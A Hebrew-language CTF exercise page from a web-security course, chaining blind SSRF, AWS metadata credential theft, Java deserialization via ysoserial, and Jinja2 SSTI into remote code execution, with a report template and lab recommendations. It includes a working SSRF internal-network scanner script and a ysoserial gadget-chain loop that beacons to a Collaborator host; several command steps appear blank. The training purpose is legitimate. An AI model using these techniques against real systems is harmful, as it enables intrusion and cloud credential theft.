אתגר CTF - צד שרת¶
סקירת האתגר¶
אתגר זה משלב את כל הנושאים שלמדנו בפרק 7: SSRF, תקיפת ענן, דסריאליזציה, העלאת קבצים, ו-SSTI. כל שלב מוביל לשלב הבא, ממש כמו תרחיש תקיפה אמיתי.
שלב 1 - גילוי שירותים פנימיים עם Blind SSRF¶
תיאור¶
מצאתם אפליקציית ווב שמאפשרת לבדוק האם אתר מסוים זמין. הפונקציונליות מוחזרת כ-"Available" או "Not Available" - בלי את תוכן התשובה.
משימות¶
- זהו את הפרמטר הפגיע ל-SSRF
- אשרו שיש SSRF עם שרת חיצוני (Burp Collaborator או webhook.site)
- סרקו את הרשת הפנימית כדי למצוא שירותים:
- נסו כתובות IP בטווח
10.0.0.1-10.0.0.20 - נסו פורטים: 80, 8080, 3000, 5000, 8000, 9090
- השתמשו בזמני תגובה לזהות שירותים חיים
import requests
import time
TARGET = "http://challenge.ctf.com/check-url"
def scan_internal(ip, port):
"""בדיקה אם שירות פנימי קיים"""
internal_url = f"http://{ip}:{port}/"
start = time.time()
try:
response = requests.get(
TARGET,
params={"url": internal_url},
timeout=10
)
elapsed = time.time() - start
# זמן תגובה קצר = שירות קיים
# זמן תגובה ארוך = timeout = אין שירות
if elapsed < 3 and "Available" in response.text:
print(f"[+] FOUND: {ip}:{port} ({elapsed:.2f}s)")
return True
except:
pass
return False
# סריקה
for i in range(1, 21):
for port in [80, 8080, 3000, 5000, 8000, 9090]:
scan_internal(f"10.0.0.{i}", port)
- תעדו את כל השירותים שמצאתם ומהם אנחנו נמשיך לשלב הבא
רמז¶
חפשו שירות על פורט 80 שנותן תשובה מהירה. כנראה שזה שירות ווב פנימי.
שלב 2 - גניבת הרשאות ענן דרך SSRF¶
תיאור¶
גיליתם שהאפליקציה רצה על AWS EC2. השתמשו ב-SSRF כדי לגשת לשירות ה-Metadata.
משימות¶
- גשו ל-
http://169.254.169.254/latest/meta-data/דרך ה-SSRF - מצאו את שם ה-IAM Role:
- חלצו את ההרשאות המלאות (Access Key, Secret Key, Token)
-
בדקו גם את ה-user-data לסודות נוספים:
-
הגדירו את ההרשאות במכונה שלכם:
-
בדקו מה ההרשאות מאפשרות:
-
מצאו S3 Bucket עם מידע שמוביל לשלב הבא
רמז¶
ב-user-data יש סקריפט שמכיל כתובת URL של שירות פנימי נוסף שלא מצאתם בסריקה.
שלב 3 - מציאת נקודת דסריאליזציה¶
תיאור¶
מצאתם שירות Java פנימי (Jenkins/JBoss/custom app). דרך ה-SSRF, אתם יכולים לשלוח בקשות אליו.
משימות¶
- גשו לשירות הפנימי דרך ה-SSRF ומפו את הנקודות הזמינות
- חפשו סימנים לדסריאליזציה:
- Headers כמו
Content-Type: application/x-java-serialized-object - נתונים בקידוד Base64 שמתחילים ב-
rO0AB -
נקודות קצה כמו
/invoker/,/jmxinvokerservlet,/api/deserialize -
אשרו שהנקודה פגיעה עם URLDNS payload:
-
שלחו את ה-payload דרך ה-SSRF:
-
בדקו ב-Collaborator אם הגיעה בקשת DNS
רמז¶
הנקודה הפגיעה מקבלת נתונים ב-POST body כ-Base64 encoded serialized object.
שלב 4 - RCE דרך דסריאליזציה¶
תיאור¶
אישרתם שהשירות הפנימי פגיע לדסריאליזציה. עכשיו צריך להשיג RCE.
משימות¶
-
נסו שרשראות gadget שונות כדי למצוא את המתאימה:
# נסו כל אחת ובדקו ב-Collaborator for chain in CommonsCollections1 CommonsCollections2 CommonsCollections3 \ CommonsCollections4 CommonsCollections5 CommonsCollections6 \ CommonsCollections7 CommonsBeanutils1; do echo "[*] Testing $chain" java -jar ysoserial-all.jar $chain \ "nslookup ${chain}.YOUR-ID.burpcollaborator.net" | base64 -w0 echo "" done -
ברגע שמצאתם שרשרת שעובדת, הריצו פקודות לסקירת המכונה:
-
מצאו שירות נוסף ברשת הפנימית שנגיש מהמכונה הזו
- תעדו את הגישה שלכם ואת הממצאים
רמז¶
בדקו את משתני הסביבה של המכונה - יש שם כתובת URL של שירות פנימי עם SSTI.
שלב 5 - SSTI ל-RCE מלא¶
תיאור¶
מהמכונה שהשגתם גישה אליה בשלב 4, מצאתם שירות פנימי שמשתמש ב-Jinja2 template engine.
משימות¶
- גשו לשירות הפנימי מהמכונה שפרצתם
-
זהו את נקודת ה-SSTI:
-
זהו הגבלות (אם יש):
-
השיגו RCE:
-
קראו את הדגל:
-
תעדו את כל שרשרת התקיפה מההתחלה ועד הסוף
רמז¶
אם תווים מסוימים חסומים, נסו את הטכניקות שלמדנו - hex encoding, request.args, attr filter.
סיכום האתגר¶
שלב 1: Blind SSRF --> גילוי שירותים פנימיים
|
v
שלב 2: SSRF --> Metadata --> הרשאות AWS
|
v
שלב 3: SSRF --> שירות Java פנימי --> זיהוי דסריאליזציה
|
v
שלב 4: ysoserial --> RCE על שרת Java
|
v
שלב 5: SSTI בשירות פנימי --> RCE --> דגל
סביבות תרגול מומלצות¶
PortSwigger Web Security Academy¶
השלימו את כל המעבדות ברמת Expert:
- SSRF labs (כולל Blind SSRF)
- Deserialization labs (כולל custom gadget chains)
- SSTI labs (כולל sandboxed environments)
- File Upload labs (כולל race conditions)
HackTheBox¶
מכונות מומלצות עם שרשור חולשות צד שרת:
- חפשו מכונות עם תגיות: SSRF, Deserialization, SSTI
- מכונות ברמת Medium ו-Hard
- Pro Labs: Offshore, RastaLabs
TryHackMe¶
חדרים מומלצים:
- "SSRF" room
- "Java Deserialization" room
- "SSTI" room
- "Upload Vulnerabilities" room
- "Cloud Security" pathway
CTF¶
- flaws.cloud + flaws2.cloud - תקיפת AWS
- CloudGoat (Rhino Security Labs) - תרחישי AWS
- OWASP WebGoat - Deserialization module
- PentesterLab - Advanced Web challenges
דוח מסכם¶
בסיום האתגר, כתבו דוח שמסכם:
- ממצאים - כל חולשה שמצאתם, כולל חומרה (CVSS)
- שרשרת תקיפה - תיאור מלא של כל שלב, כולל payloads
- השפעה - מה תוקף יכול לעשות עם כל חולשה
- המלצות - כיצד לתקן כל חולשה
- לקחים - מה למדתם מהאתגר
תבנית לדוח¶
# דוח בדיקת חדירות - אתגר CTF צד שרת
## תקציר ניהולי
[סיכום קצר של הממצאים והסיכונים]
## ממצאים
### ממצא 1: Blind SSRF
- חומרה: גבוהה
- נקודת כניסה: [URL ופרמטר]
- הוכחת ניצול: [payload]
- השפעה: [מה ניתן לעשות]
- המלצת תיקון: [כיצד לתקן]
### ממצא 2: גניבת הרשאות AWS
[...]
### ממצא 3: Java Deserialization RCE
[...]
### ממצא 4: SSTI RCE
[...]
## שרשרת תקיפה מלאה
[תרשים ותיאור של כל השלבים]
## המלצות כלליות
[המלצות ברמת הארכיטקטורה]